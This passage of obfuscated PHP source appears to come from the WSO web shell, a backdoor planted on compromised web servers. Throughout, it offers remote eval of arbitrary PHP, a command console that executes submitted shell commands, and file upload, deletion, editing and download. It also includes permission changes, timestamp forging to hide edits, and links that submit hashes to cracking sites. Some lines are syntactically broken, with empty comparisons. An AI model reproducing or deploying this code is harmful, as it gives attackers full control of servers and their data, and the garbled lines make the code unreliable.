'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
//'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array(
'',
//'.e, .v, .h, .h th {$1}',
'',
), $isbjqznk);
echo str_replace('<h1', '<h2', $isbjqznk) . '</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['pvqfor']) ? htmlspecialchars($_POST['pvqfor']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['pvqfor']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
if (!empty($_POST['pvqfor'])) {
ob_start();
eval($_POST['pvqfor']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
dwwjftd();
}
function actionFilesMan() {
if (!empty($_COOKIE['gtao'])) {
$_COOKIE['gtao'] = @unserialize($_COOKIE['gtao']);
}
if (!empty($_POST['pvqfor'])) {
switch ($_POST['pvqfor']) {
case 'uploadFile':
if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
echo "Can't upload file!";
}
break;
case 'mkdir':
if (!@mkdir($_POST['qbfo'])) {
echo "Can't create new dir";
}
break;
case 'delete':
function sreuxgc($faaheaxpesa) {
$faaheaxpesa = (substr($faaheaxpesa, -1) == '/') ? $faaheaxpesa : $faaheaxpesa . '/';
$rhtcjyobgck = opendir($faaheaxpesa);
while (($vgxhvh = readdir($rhtcjyobgck)) !== false) {
$vgxhvh = $faaheaxpesa . $vgxhvh;
if ((basename($vgxhvh) == "..") || (basename($vgxhvh) == )) {
continue;
}
$mmspuuwksi = filetype($vgxhvh);
if ($mmspuuwksi == "dir") {
sreuxgc($vgxhvh);
} else {
@unlink($vgxhvh);
}
}
closedir($rhtcjyobgck);
@rmdir($faaheaxpesa);
}
if (is_array(@$_POST['f'])) {
foreach ($_POST['f'] as $nzgmvekwz) {
if ($nzgmvekwz == '..') {
continue;
}
$nzgmvekwz = urldecode($nzgmvekwz);
if (is_dir($nzgmvekwz)) {
sreuxgc($nzgmvekwz);
} else {
@unlink($nzgmvekwz);
}
}
}
break;
case 'paste':
if ($_COOKIE['vvygj'] == 'copy') {
function odzurgx($dhmdlqhvym, $krgwqcufkvo, $izedpbxsw) {
if (is_dir($dhmdlqhvym . $krgwqcufkvo)) {
mkdir($izedpbxsw . $krgwqcufkvo);
$puwswvcklr = @opendir($dhmdlqhvym . $krgwqcufkvo);
while (($nzgmvekwz = @readdir($puwswvcklr)) !== false) {
if (($nzgmvekwz != ) and ($nzgmvekwz != "..")) {
odzurgx($dhmdlqhvym . $krgwqcufkvo . '/', $nzgmvekwz, $izedpbxsw . $krgwqcufkvo . '/');
}
}
} elseif (is_file($dhmdlqhvym . $krgwqcufkvo)) {
@copy($dhmdlqhvym . $krgwqcufkvo, $izedpbxsw . $krgwqcufkvo);
}
}
foreach ($_COOKIE['gtao'] as $nzgmvekwz) {
odzurgx($_COOKIE['oiois'], $nzgmvekwz, $GLOBALS['cqyidgkncluf']);
}
} elseif ($_COOKIE['vvygj'] == 'move') {
function roxfj($dhmdlqhvym, $krgwqcufkvo, $izedpbxsw) {
if (is_dir($dhmdlqhvym . $krgwqcufkvo)) {
mkdir($izedpbxsw . $krgwqcufkvo);
$puwswvcklr = @opendir($dhmdlqhvym . $krgwqcufkvo);
while (($nzgmvekwz = @readdir($puwswvcklr)) !== false) {
if (($nzgmvekwz != ) and ($nzgmvekwz != "..")) {
odzurgx($dhmdlqhvym . $krgwqcufkvo . '/', $nzgmvekwz, $izedpbxsw . $krgwqcufkvo . '/');
}
}
} elseif (@is_file($dhmdlqhvym . $krgwqcufkvo)) {
@copy($dhmdlqhvym . $krgwqcufkvo, $izedpbxsw . $krgwqcufkvo);
}
}
foreach ($_COOKIE['gtao'] as $nzgmvekwz) {
@rename($_COOKIE['oiois'] . $nzgmvekwz, $GLOBALS['cqyidgkncluf'] . $nzgmvekwz);
}
} elseif ($_COOKIE['vvygj'] == 'zip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['qbfo'], 1)) {
chdir($_COOKIE['oiois']);
foreach ($_COOKIE['gtao'] as $nzgmvekwz) {
if ($nzgmvekwz == '..') {
continue;
}
if (@is_file($_COOKIE['oiois'] . $nzgmvekwz)) {
$zip->addFile($_COOKIE['oiois'] . $nzgmvekwz, $nzgmvekwz);
} elseif (@is_dir($_COOKIE['oiois'] . $nzgmvekwz)) {
$fhwoowdqv = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($nzgmvekwz . '/', FilesystemIterator::SKIP_DOTS));
foreach ($fhwoowdqv as $qoocfvkt => $ndgcevzjiutp) {
$zip->addFile(realpath($qoocfvkt), $qoocfvkt);
}
}
}
chdir($GLOBALS['cqyidgkncluf']);
$zip->close();
}
}
} elseif ($_COOKIE['vvygj'] == 'unzip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach ($_COOKIE['gtao'] as $nzgmvekwz) {
if ($zip->open($_COOKIE['oiois'] . $nzgmvekwz)) {
$zip->extractTo($GLOBALS['cqyidgkncluf']);
$zip->close();
}
}
}
} elseif ($_COOKIE['vvygj'] == 'tar') {
chdir($_COOKIE['oiois']);
$_COOKIE['gtao'] = array_map('escapeshellarg', $_COOKIE['gtao']);
ksuyz('tar cfzv ' . escapeshellarg($_POST['qbfo']) . ' ' . implode(' ', $_COOKIE['gtao']));
chdir($GLOBALS['cqyidgkncluf']);
}
unset($_COOKIE['gtao']);
setcookie('gtao', '', time() - 3600);
break;
default:
if (!empty($_POST['pvqfor'])) {
axevwudmb('vvygj', $_POST['pvqfor']);
axevwudmb('gtao', serialize(@$_POST['f']));
axevwudmb('oiois', @$_POST['hcrgam']);
}
break;
}
}
ntqkrfqeh();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$cxdpuoyzpl = roorhg(isset($_POST['hcrgam']) ? $_POST['hcrgam'] : $GLOBALS['cqyidgkncluf']);
if ($cxdpuoyzpl === false) {
echo 'Can\'t open this folder!';
dwwjftd();
return;
}
global $kcxiycjzvtn;
$kcxiycjzvtn = array('name', 1);
if (!empty($_POST['pvqfor'])) {
if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['pvqfor'], $fcgehdwru)) {
$kcxiycjzvtn = array($fcgehdwru[1], (int)$fcgehdwru[2]);
}
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($kcxiycjzvtn[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($kcxiycjzvtn[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($kcxiycjzvtn[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($kcxiycjzvtn[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
$zufptmg = $rkesotfy = array();
$yybkkvgt = count($cxdpuoyzpl);
for ($yfqqez = 0; $yfqqez < $yybkkvgt; $yfqqez++) {
$salvyfyhjlgi = @posix_getpwuid(@fileowner($cxdpuoyzpl[$yfqqez]));
$tcfoyurwifip = @posix_getgrgid(@filegroup($cxdpuoyzpl[$yfqqez]));
$isbjqznk = array(
'name' => $cxdpuoyzpl[$yfqqez],
'path' => $GLOBALS['cqyidgkncluf'] . $cxdpuoyzpl[$yfqqez],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cqyidgkncluf'] . $cxdpuoyzpl[$yfqqez])),
'perms' => uhcjedo($GLOBALS['cqyidgkncluf'] . $cxdpuoyzpl[$yfqqez]),
'size' => @filesize($GLOBALS['cqyidgkncluf'] . $cxdpuoyzpl[$yfqqez]),
'owner' => $salvyfyhjlgi['name'] ? $salvyfyhjlgi['name'] : @fileowner($cxdpuoyzpl[$yfqqez]),
'group' => $tcfoyurwifip['name'] ? $tcfoyurwifip['name'] : @filegroup($cxdpuoyzpl[$yfqqez])
);
if (@is_file($GLOBALS['cqyidgkncluf'] . $cxdpuoyzpl[$yfqqez])) {
$rkesotfy[] = array_merge($isbjqznk, array('type' => 'file'));
} elseif (@is_link($GLOBALS['cqyidgkncluf'] . $cxdpuoyzpl[$yfqqez])) {
$zufptmg[] = array_merge($isbjqznk, array('type' => 'link', 'link' => readlink($isbjqznk['path'])));
} elseif (@is_dir($GLOBALS['cqyidgkncluf'] . $cxdpuoyzpl[$yfqqez])) {
$zufptmg[] = array_merge($isbjqznk, array('type' => 'dir'));
}
}
$GLOBALS['kcxiycjzvtn'] = $kcxiycjzvtn;
function fryktgvnn($bwiemuft, $tdkeavt) {
if ($GLOBALS['kcxiycjzvtn'][0] != 'size') {
return strcmp(strtolower($bwiemuft[$GLOBALS['kcxiycjzvtn'][0]]), strtolower($tdkeavt[$GLOBALS['kcxiycjzvtn'][0]])) * ($GLOBALS['kcxiycjzvtn'][1] ? 1 : -1);
} else {
return (($bwiemuft['size'] < $tdkeavt['size']) ? -1 : 1) * ($GLOBALS['kcxiycjzvtn'][1] ? 1 : -1);
}
}
usort($rkesotfy, "fryktgvnn");
usort($zufptmg, "fryktgvnn");
$rkesotfy = array_merge($zufptmg, $rkesotfy);
$ykvkuzneh = 0;
foreach ($rkesotfy as $nzgmvekwz) {
echo '<tr' . ($ykvkuzneh ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($nzgmvekwz['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($nzgmvekwz['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($nzgmvekwz['name']) . '\', \'view\')">' . htmlspecialchars($nzgmvekwz['name']) : 'g(\'FilesMan\',\'' . $nzgmvekwz['path'] . '\');" ' . (empty($nzgmvekwz['link']) ? '' : "title='{$nzgmvekwz['link']}'") . '><b>[ ' . htmlspecialchars($nzgmvekwz['name']) . ' ]</b>') . '</a></td><td>' . (($nzgmvekwz['type'] == 'file') ? kppgq($nzgmvekwz['size']) : $nzgmvekwz['type']) . '</td><td>' . $nzgmvekwz['modify'] . '</td><td>' . $nzgmvekwz['owner'] . '/' . $nzgmvekwz['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($nzgmvekwz['name']) . '\',\'chmod\')">' . $nzgmvekwz['perms']
. '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($nzgmvekwz['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($nzgmvekwz['name']) . '\', \'touch\')">T</a>' . (($nzgmvekwz['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($nzgmvekwz['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($nzgmvekwz['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
$ykvkuzneh = $ykvkuzneh ? 0 : 1;
}
echo "<tr><td colspan=7>
<input type=hidden name=tnfcm value='" . uwfkvlizh('FilesMan') . "'>
<input type=hidden name=hcrgam value='" . uwfkvlizh(htmlspecialchars($GLOBALS['cqyidgkncluf'])) . "'>
<input type=hidden name=tvhaz value='" . (isset($_POST['tvhaz']) ? $_POST['tvhaz'] : '') . "'>
<select name='pvqfor'><option value='" . uwfkvlizh('copy') . "'>Copy</option><option value='" . uwfkvlizh('move') . "'>Move</option><option value='" . uwfkvlizh('delete') . "'>Delete</option>";
if (class_exists('ZipArchive')) {
echo "<option value='" . uwfkvlizh('zip') . "'>Compress (zip)</option><option value='" . uwfkvlizh('unzip') . "'>Uncompress (zip)</option>";
}
echo "<option value='" . uwfkvlizh('tar') . "'>Compress (tar.gz)</option>";
if (!empty($_COOKIE['vvygj']) && (isset($_COOKIE['gtao']) && !empty($_COOKIE['gtao']))) {
echo "<option value='" . uwfkvlizh('paste') . "'>Paste / Compress</option>";
}
echo "</select> ";
if (!empty($_COOKIE['vvygj']) && (isset($_COOKIE['gtao']) && !empty($_COOKIE['gtao'])) && (($_COOKIE['vvygj'] == 'zip') || ($_COOKIE['vvygj'] == 'tar'))) {
$dghejgxdohkv = "wso_" . date("Ymd_His") . . ($_COOKIE['vvygj'] == 'zip' ? 'zip' : 'tar.gz');
echo "file name: <input type=text name=p2 value='" . uwfkvlizh($dghejgxdohkv) . "'> ";
}
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
dwwjftd();
}
function actionStringTools() {
if (!function_exists('hex2bin')) {
function hex2bin($tepxbbx) {
return decbin(hexdec($tepxbbx));
}
}
if (!function_exists('binhex')) {
function rvbtryk($tepxbbx) {
return dechex(bindec($tepxbbx));
}
}
if (!function_exists('hex2ascii')) {
function vgngxnkb($tepxbbx) {
$ewxrod = '';
for ($yfqqez = 0; $yfqqez < strLen($tepxbbx); $yfqqez += 2) {
$ewxrod .= chr(hexdec($tepxbbx[$yfqqez] . $tepxbbx[$yfqqez + 1]));
}
return $ewxrod;
}
}
if (!function_exists('ascii2hex')) {
function ueflbqmid($tepxbbx) {
$ewxrod = '';
for ($yfqqez = 0; $yfqqez < strlen($tepxbbx); ++$yfqqez) {
$ewxrod .= sprintf('%02X', ord($tepxbbx[$yfqqez]));
return strtoupper($ewxrod);
}
}
}
if (!function_exists('full_urlencode')) {
function iwhgko($tepxbbx) {
$ewxrod = '';
for ($yfqqez = 0; $yfqqez < strlen($tepxbbx); ++$yfqqez) {
$ewxrod .= '%' . dechex(ord($tepxbbx[$yfqqez]));
return strtoupper($ewxrod);
}
}
}
$hcuwyqtue = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if (isset($_POST['plmdyp'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
if (in_array($_POST['pvqfor'], $hcuwyqtue)) {
echo $_POST['pvqfor']($_POST['qbfo']);
}
$ofwdccfc = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($ofwdccfc), "\n", $ofwdccfc;
exit;
}
if (empty($_POST['plmdyp']) && !empty($_POST['pvqfor'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
ntqkrfqeh();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach ($hcuwyqtue as $rdoqxovvingb => $tkxcjxmkhdn) {
echo "<option value='" . htmlspecialchars($tkxcjxmkhdn) . "'>" . $rdoqxovvingb . "</option>";
}
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['pvqfor']) ? '' : htmlspecialchars(@$_POST['qbfo'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['pvqfor']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
if (!empty($_POST['pvqfor'])) {
if (in_array($_POST['pvqfor'], $hcuwyqtue)) {
echo htmlspecialchars($_POST['pvqfor']($_POST['qbfo']));
}
}
echo "</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cqyidgkncluf']) . "' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function dfffj($faaheaxpesa) {
if (substr($faaheaxpesa, -1) != '/') {
$faaheaxpesa .= '/';
}
$zybqluj = @array_unique(@array_merge(@glob($faaheaxpesa . $_POST['jzgyx']), @glob($faaheaxpesa . '*', GLOB_ONLYDIR)));
if (is_array($zybqluj) && @count($zybqluj)) {
foreach ($zybqluj as $vgxhvh) {
if (@is_dir($vgxhvh)) {
if ($faaheaxpesa != $vgxhvh) {
dfffj($vgxhvh);
}
} else {
if (empty($_POST['qbfo']) || @strpos(file_get_contents($vgxhvh), $_POST['qbfo']) !== false) {
echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($vgxhvh) . "\", \"view\",\"\")'>" . htmlspecialchars($vgxhvh) . "</a><br>";
}
}
}
}
}
if (@$_POST['jzgyx']) {
dfffj($_POST['hcrgam']);
}
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
dwwjftd();
}
function actionFilesTools() {
if (isset($_POST['pvqfor'])) {
$_POST['pvqfor'] = urldecode($_POST['pvqfor']);
}
if (@$_POST['qbfo'] == 'download') {
if (@is_file($_POST['pvqfor']) && @is_readable($_POST['pvqfor'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=" . basename($_POST['pvqfor']));
if (function_exists("mime_content_type")) {
$mmspuuwksi = @mime_content_type($_POST['pvqfor']);
header("Content-Type: " . $mmspuuwksi);
} else {
header("Content-Type: application/octet-stream");
}
$ojlufyybniq = @fopen($_POST['pvqfor'], "r");
if ($ojlufyybniq) {
while (!@feof($ojlufyybniq)) {
echo @fread($ojlufyybniq, 1024);
}
fclose($ojlufyybniq);
}
}
exit;
}
if (@$_POST['qbfo'] == 'mkfile') {
if (!file_exists($_POST['pvqfor'])) {
$ojlufyybniq = @fopen($_POST['pvqfor'], 'w');
if ($ojlufyybniq) {
$_POST['qbfo'] = "edit";
fclose($ojlufyybniq);
}
}
}
ntqkrfqeh();
echo '<h1>File tools</h1><div class=content>';
if (!file_exists(@$_POST['pvqfor'])) {
echo 'File not exists';
dwwjftd();
return;
}
$yjrdkhavs = @posix_getpwuid(@fileowner($_POST['pvqfor']));
if (!$yjrdkhavs) {
$yjrdkhavs['name'] = @fileowner($_POST['pvqfor']);
$zttzgxnmtr['name'] = @filegroup($_POST['pvqfor']);
} else {
$zttzgxnmtr = @posix_getgrgid(@filegroup($_POST['pvqfor']));
}
echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['pvqfor'])) . ' <span>Size:</span> ' . (is_file($_POST['pvqfor']) ? kppgq(filesize($_POST['pvqfor'])) : '-') . ' <span>Permission:</span> ' . uhcjedo($_POST['pvqfor']) . ' <span>Owner/Group:</span> ' . $yjrdkhavs['name'] . '/' . $zttzgxnmtr['name'] . '<br>';
echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['pvqfor'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['pvqfor'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['pvqfor'])) . '<br><br>';
if (empty($_POST['qbfo'])) {
$_POST['qbfo'] = 'view';
}
if (is_file($_POST['pvqfor'])) {
$xcfrnayys = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
} else {
$xcfrnayys = array('Chmod', 'Rename', 'Touch');
}
foreach ($xcfrnayys as $tkxcjxmkhdn) {
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['pvqfor']) . '\',\'' . strtolower($tkxcjxmkhdn) . '\')">' . ((strtolower($tkxcjxmkhdn) == @$_POST['qbfo']) ? '<b>[ ' . $tkxcjxmkhdn . ' ]</b>' : $tkxcjxmkhdn) . '</a> ';
}
echo '<br><br>';
switch ($_POST['qbfo']) {
case 'view':
echo '<pre class=ml1>';
$ojlufyybniq = @fopen($_POST['pvqfor'], 'r');
if ($ojlufyybniq) {
while (!@feof($ojlufyybniq)) {
echo htmlspecialchars(@fread($ojlufyybniq, 1024));
}
@fclose($ojlufyybniq);
}
echo '</pre>';
break;
case 'highlight':
if (@is_readable($_POST['pvqfor'])) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$eggtnmfw = @highlight_file($_POST['pvqfor'], true);
echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $eggtnmfw) . '</div>';
}
break;
case 'chmod':
if (!empty($_POST['jzgyx'])) {
$xerrcb = 0;
for ($yfqqez = strlen($_POST['jzgyx']) - 1; $yfqqez >= 0; --$yfqqez) {
$xerrcb += (int)$_POST['jzgyx'][$yfqqez] * pow(8, (strlen($_POST['jzgyx']) - $yfqqez - 1));
}
if (!@chmod($_POST['pvqfor'], $xerrcb)) {
echo 'Can\'t set permissions!<br><script>document.ljl.p3.value="";</script>';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['pvqfor']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['pvqfor'])), -4) . '"><input type=submit value=">>"></form>';
break;
case 'edit':
if (!is_writable($_POST['pvqfor'])) {
echo 'File isn\'t writeable';
break;
}
if (!empty($_POST['jzgyx'])) {
$pcxywwqv = @filemtime($_POST['pvqfor']);
$_POST['jzgyx'] = substr($_POST['jzgyx'], 1);
$ojlufyybniq = @fopen($_POST['pvqfor'], "w");
if ($ojlufyybniq) {
@fwrite($ojlufyybniq, $_POST['jzgyx']);
@fclose($ojlufyybniq);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['pvqfor'], $pcxywwqv, $pcxywwqv);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['pvqfor']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$ojlufyybniq = @fopen($_POST['pvqfor'], 'r');
if ($ojlufyybniq) {
while (!@feof($ojlufyybniq)) {
echo htmlspecialchars(@fread($ojlufyybniq, 1024));
}
@fclose($ojlufyybniq);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$dhmdlqhvym = @file_get_contents($_POST['pvqfor']);
$yybkkvgt = 0;
$puwswvcklr = array('00000000<br>', '', '');
$dizzpjlya = strlen($dhmdlqhvym);
for ($yfqqez = 0; $yfqqez < $dizzpjlya; ++$yfqqez) {
$puwswvcklr[1] .= sprintf('%02X', ord($dhmdlqhvym[$yfqqez])) . ' ';
switch (ord($dhmdlqhvym[$yfqqez])) {
case 0:
$puwswvcklr[2] .= ' ';
break;
case 9:
$puwswvcklr[2] .= ' ';
break;
case 10:
$puwswvcklr[2] .= ' ';
break;
case 13:
$puwswvcklr[2] .= ' ';
break;
default:
$puwswvcklr[2] .= $dhmdlqhvym[$yfqqez];
break;
}
$yybkkvgt++;
if ($yybkkvgt == 32) {
$yybkkvgt = 0;
if ($yfqqez + 1 < $dizzpjlya) {
$puwswvcklr[0] .= sprintf('%08X', $yfqqez + 1) . '<br>';
}
$puwswvcklr[1] .= '<br>';
$puwswvcklr[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $puwswvcklr[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $puwswvcklr[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($puwswvcklr[2]) . '</pre></td></tr></table>';
break;
case 'rename':
if (!empty($_POST['jzgyx'])) {
if (!@rename($_POST['pvqfor'], $_POST['jzgyx'])) {
echo 'Can\'t rename!<br>';
} else {
die('<script>g(null,null,"' . urlencode($_POST['jzgyx']) . '",null,"")</script>');
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['pvqfor']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['pvqfor']) . '"><input type=submit value=">>"></form>';
break;
case 'touch':
if (!empty($_POST['jzgyx'])) {
$pcxywwqv = strtotime($_POST['jzgyx']);
if ($pcxywwqv) {
if (!touch($_POST['pvqfor'], $pcxywwqv, $pcxywwqv)) {
echo 'Fail!';
} else {
echo 'Touched!';
}
} else {
echo 'Bad time format!';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['pvqfor']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['pvqfor'])) . '"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
dwwjftd();
}
function actionConsole() {
if (!empty($_POST['pvqfor']) && !empty($_POST['qbfo'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
$_POST['pvqfor'] .= ' 2>&1';
} elseif (!empty($_POST['pvqfor'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
}
if (isset($_POST['plmdyp'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
echo "d.cf.cmd.value='';\n";
$ofwdccfc = @iconv($_POST['tvhaz'], 'UTF-8', addcslashes("\n$ " . $_POST['pvqfor'] . "\n" . ksuyz($_POST['pvqfor']), "\n\r\t\\'\0"));
if (preg_match("!.*cd\s+([^;]+)$!", $_POST['pvqfor'], $fcgehdwru)) {
if (@chdir($fcgehdwru[1])) {
$GLOBALS['cqyidgkncluf'] = @getcwd();
echo "c_='" . $GLOBALS['cqyidgkncluf'] . "';";
}
}
echo "d.cf.output.value+='" . $ofwdccfc . "';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$ofwdccfc = ob_get_clean();
echo strlen($ofwdccfc), "\n", $ofwdccfc;
exit;
}
if (empty($_POST['plmdyp']) && !empty($_POST['pvqfor'])) {
axevwudmb(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
ntqkrfqeh();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach ($GLOBALS['foiqammwi'] as $yybkkvgt => $tkxcjxmkhdn) {
if ($tkxcjxmkhdn == '') {
echo '<optgroup label="-' . htmlspecialchars($yybkkvgt) . '-"></optgroup>';
continue;
}
echo '<option value="' . htmlspecialchars($tkxcjxmkhdn) . '">' . $yybkkvgt . '</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['qbfo']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if (!empty($_POST['pvqfor'])) {
echo htmlspecialchars("$ " . $_POST['pvqfor'] . "\n" . ksuyz($_POST['pvqfor']));
}
